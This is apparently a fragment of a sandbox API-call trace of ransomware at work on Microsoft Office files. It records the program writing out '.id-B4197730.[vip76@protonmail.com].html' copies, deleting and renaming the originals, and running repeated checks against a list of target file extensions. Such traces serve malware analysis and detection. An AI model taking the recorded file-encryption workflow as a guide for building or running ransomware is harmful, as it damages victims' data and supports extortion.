	[0186.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0187.740] GetLastError () returned 0x0
	[0187.740] ReadFile (in: hFile=0x538, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x221, lpOverlapped=0x0) returned 1
	[0187.741] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x230, lpOverlapped=0x0) returned 1
	[0187.742] ReadFile (in: hFile=0x538, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.742] WriteFile (in: hFile=0x594, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x10c, lpOverlapped=0x0) returned 1
	[0187.742] SetEndOfFile (hFile=0x594) returned 1
	[0187.743] CloseHandle (hObject=0x594) returned 1
	[0187.743] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.743] SetEndOfFile (hFile=0x538) returned 1
	[0187.970] CloseHandle (hObject=0x538) returned 1
	[0187.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0188.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1
	[0188.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.057] lstrlenW (lpString=".doc") returned 4
	[0188.057] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0188.057] lstrlenW (lpString=".docx") returned 5
	[0188.057] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0188.057] lstrlenW (lpString=".pdf") returned 4
	[0188.057] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0188.057] lstrlenW (lpString=".xls") returned 4
	[0188.057] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0188.057] lstrlenW (lpString=".xlsx") returned 5
	[0188.057] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0188.057] lstrlenW (lpString=".ppt") returned 4
	[0188.057] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0188.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.057] lstrlenW (lpString=".zip") returned 4
	[0188.057] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0188.057] lstrlenW (lpString=".rar") returned 4
	[0188.057] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0188.057] lstrlenW (lpString=".bz2") returned 4
	[0188.057] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0188.057] lstrlenW (lpString=".7z") returned 3
	[0188.057] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0188.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.057] lstrlenW (lpString=".dbf") returned 4
	[0188.057] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0188.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.057] lstrlenW (lpString=".1cd") returned 4
	[0188.057] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0188.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.058] lstrlenW (lpString=".jpg") returned 4
	[0188.058] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0188.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.058] lstrlenW (lpString=".doc") returned 4
	[0188.058] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0188.058] lstrlenW (lpString=".docx") returned 5
	[0188.058] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0188.058] lstrlenW (lpString=".pdf") returned 4
	[0188.058] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0188.058] lstrlenW (lpString=".xls") returned 4
	[0188.058] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0188.058] lstrlenW (lpString=".xlsx") returned 5
	[0188.058] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0188.058] lstrlenW (lpString=".ppt") returned 4
	[0188.058] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0188.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.058] lstrlenW (lpString=".zip") returned 4
	[0188.058] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0188.058] lstrlenW (lpString=".rar") returned 4
	[0188.058] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0188.058] lstrlenW (lpString=".bz2") returned 4
	[0188.058] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0188.058] lstrlenW (lpString=".7z") returned 3
	[0188.059] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0188.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.059] lstrlenW (lpString=".dbf") returned 4
	[0188.059] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0188.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.059] lstrlenW (lpString=".1cd") returned 4
	[0188.059] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0188.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0188.059] lstrlenW (lpString=".jpg") returned 4
	[0188.059] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0188.059] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0188.059] lstrlenW (lpString="vccorlib140.dll") returned 15
	[0188.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0188.060] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=266928) returned 1
	[0188.060] CloseHandle (hObject=0x538) returned 1
	[0188.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll")) returned 0x220
	[0188.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.061] lstrlenW (lpString=".doc") returned 4
	[0188.061] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.061] lstrlenW (lpString=".docx") returned 5
	[0188.061] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0188.061] lstrlenW (lpString=".pdf") returned 4
	[0188.061] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.061] lstrlenW (lpString=".xls") returned 4
	[0188.061] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.061] lstrlenW (lpString=".xlsx") returned 5
	[0188.061] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0188.061] lstrlenW (lpString=".ppt") returned 4
	[0188.061] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.061] lstrlenW (lpString=".zip") returned 4
	[0188.061] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.061] lstrlenW (lpString=".rar") returned 4
	[0188.061] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.061] lstrlenW (lpString=".bz2") returned 4
	[0188.061] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.061] lstrlenW (lpString=".7z") returned 3
	[0188.061] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.062] lstrlenW (lpString=".dbf") returned 4
	[0188.062] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.062] lstrlenW (lpString=".1cd") returned 4
	[0188.062] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.062] lstrlenW (lpString=".jpg") returned 4
	[0188.062] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.062] lstrlenW (lpString=".doc") returned 4
	[0188.062] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.062] lstrlenW (lpString=".docx") returned 5
	[0188.062] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0188.062] lstrlenW (lpString=".pdf") returned 4
	[0188.062] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.062] lstrlenW (lpString=".xls") returned 4
	[0188.062] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.062] lstrlenW (lpString=".xlsx") returned 5
	[0188.062] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0188.062] lstrlenW (lpString=".ppt") returned 4
	[0188.062] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.062] lstrlenW (lpString=".zip") returned 4
	[0188.062] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.062] lstrlenW (lpString=".rar") returned 4
	[0188.062] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.062] lstrlenW (lpString=".bz2") returned 4
	[0188.062] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.063] lstrlenW (lpString=".7z") returned 3
	[0188.063] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.063] lstrlenW (lpString=".dbf") returned 4
	[0188.063] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.063] lstrlenW (lpString=".1cd") returned 4
	[0188.063] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vccorlib140.dll") returned 64
	[0188.063] lstrlenW (lpString=".jpg") returned 4
	[0188.063] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.063] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0188.063] lstrlenW (lpString="vcruntime140.dll") returned 16
	[0188.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0188.064] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=85328) returned 1
	[0188.064] CloseHandle (hObject=0x538) returned 1
	[0188.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll")) returned 0x220
	[0188.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.065] lstrlenW (lpString=".doc") returned 4
	[0188.065] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.065] lstrlenW (lpString=".docx") returned 5
	[0188.065] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0188.065] lstrlenW (lpString=".pdf") returned 4
	[0188.065] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.065] lstrlenW (lpString=".xls") returned 4
	[0188.065] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.065] lstrlenW (lpString=".xlsx") returned 5
	[0188.065] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0188.065] lstrlenW (lpString=".ppt") returned 4
	[0188.065] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.065] lstrlenW (lpString=".zip") returned 4
	[0188.065] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.065] lstrlenW (lpString=".rar") returned 4
	[0188.065] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.066] lstrlenW (lpString=".bz2") returned 4
	[0188.066] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.066] lstrlenW (lpString=".7z") returned 3
	[0188.066] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.066] lstrlenW (lpString=".dbf") returned 4
	[0188.066] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.066] lstrlenW (lpString=".1cd") returned 4
	[0188.066] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.066] lstrlenW (lpString=".jpg") returned 4
	[0188.066] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.066] lstrlenW (lpString=".doc") returned 4
	[0188.066] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0188.066] lstrlenW (lpString=".docx") returned 5
	[0188.066] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0188.066] lstrlenW (lpString=".pdf") returned 4
	[0188.066] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0188.066] lstrlenW (lpString=".xls") returned 4
	[0188.066] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0188.066] lstrlenW (lpString=".xlsx") returned 5
	[0188.067] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0188.067] lstrlenW (lpString=".ppt") returned 4
	[0188.067] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0188.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.067] lstrlenW (lpString=".zip") returned 4
	[0188.067] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0188.067] lstrlenW (lpString=".rar") returned 4
	[0188.067] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0188.067] lstrlenW (lpString=".bz2") returned 4
	[0188.067] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0188.067] lstrlenW (lpString=".7z") returned 3
	[0188.067] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0188.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.067] lstrlenW (lpString=".dbf") returned 4
	[0188.067] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0188.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.067] lstrlenW (lpString=".1cd") returned 4
	[0188.067] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0188.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\vcruntime140.dll") returned 65
	[0188.067] lstrlenW (lpString=".jpg") returned 4
	[0188.067] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0188.067] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1
	[0188.067] lstrlenW (lpString="C2RInt.16.msi") returned 13
	[0188.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0188.074] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=12980224) returned 1
	[0188.074] CloseHandle (hObject=0x538) returned 1
	[0188.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi")) returned 0x220
	[0188.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.074] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rint.16.msi.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0188.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.075] lstrlenW (lpString=".doc") returned 4
	[0188.075] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0188.075] lstrlenW (lpString=".docx") returned 5
	[0188.075] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0188.075] lstrlenW (lpString=".pdf") returned 4
	[0188.075] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0188.075] lstrlenW (lpString=".xls") returned 4
	[0188.075] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0188.075] lstrlenW (lpString=".xlsx") returned 5
	[0188.075] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0188.075] lstrlenW (lpString=".ppt") returned 4
	[0188.075] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0188.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.075] lstrlenW (lpString=".zip") returned 4
	[0188.075] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0188.075] lstrlenW (lpString=".rar") returned 4
	[0188.075] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0188.075] lstrlenW (lpString=".bz2") returned 4
	[0188.075] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0188.075] lstrlenW (lpString=".7z") returned 3
	[0188.075] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0188.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.075] lstrlenW (lpString=".dbf") returned 4
	[0188.075] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0188.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.076] lstrlenW (lpString=".1cd") returned 4
	[0188.076] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0188.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.076] lstrlenW (lpString=".jpg") returned 4
	[0188.076] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0188.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.076] lstrlenW (lpString=".doc") returned 4
	[0188.076] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0188.076] lstrlenW (lpString=".docx") returned 5
	[0188.076] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0188.076] lstrlenW (lpString=".pdf") returned 4
	[0188.076] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0188.076] lstrlenW (lpString=".xls") returned 4
	[0188.076] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0188.076] lstrlenW (lpString=".xlsx") returned 5
	[0188.076] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1
	[0188.076] lstrlenW (lpString=".ppt") returned 4
	[0188.076] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0188.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.076] lstrlenW (lpString=".zip") returned 4
	[0188.076] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0188.076] lstrlenW (lpString=".rar") returned 4
	[0188.076] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0188.076] lstrlenW (lpString=".bz2") returned 4
	[0188.077] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0188.077] lstrlenW (lpString=".7z") returned 3
	[0188.077] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0188.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.077] lstrlenW (lpString=".dbf") returned 4
	[0188.077] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0188.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.077] lstrlenW (lpString=".1cd") returned 4
	[0188.077] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0188.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RInt.16.msi") returned 64
	[0188.077] lstrlenW (lpString=".jpg") returned 4
	[0188.077] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0188.077] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1
	[0188.077] lstrlenW (lpString="C2RIntLoc.en-us.16.msi") returned 22
	[0188.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0188.079] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=45056) returned 1
	[0188.079] CloseHandle (hObject=0x538) returned 1
	[0188.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi")) returned 0x220
	[0188.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0188.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rintloc.en-us.16.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0188.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RIntLoc.en-us.16.msi") returned 73
	[0188.079] lstrlenW (lpString=".doc") returned 4
	[0188.079] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0188.079] lstrlenW (lpString=".docx") returned 5
	[0188.079] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1
	[0188.079] lstrlenW (lpString=".pdf") returned 4
	[0188.080] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0188.080] lstrlenW (lpString=".xls") returned 4
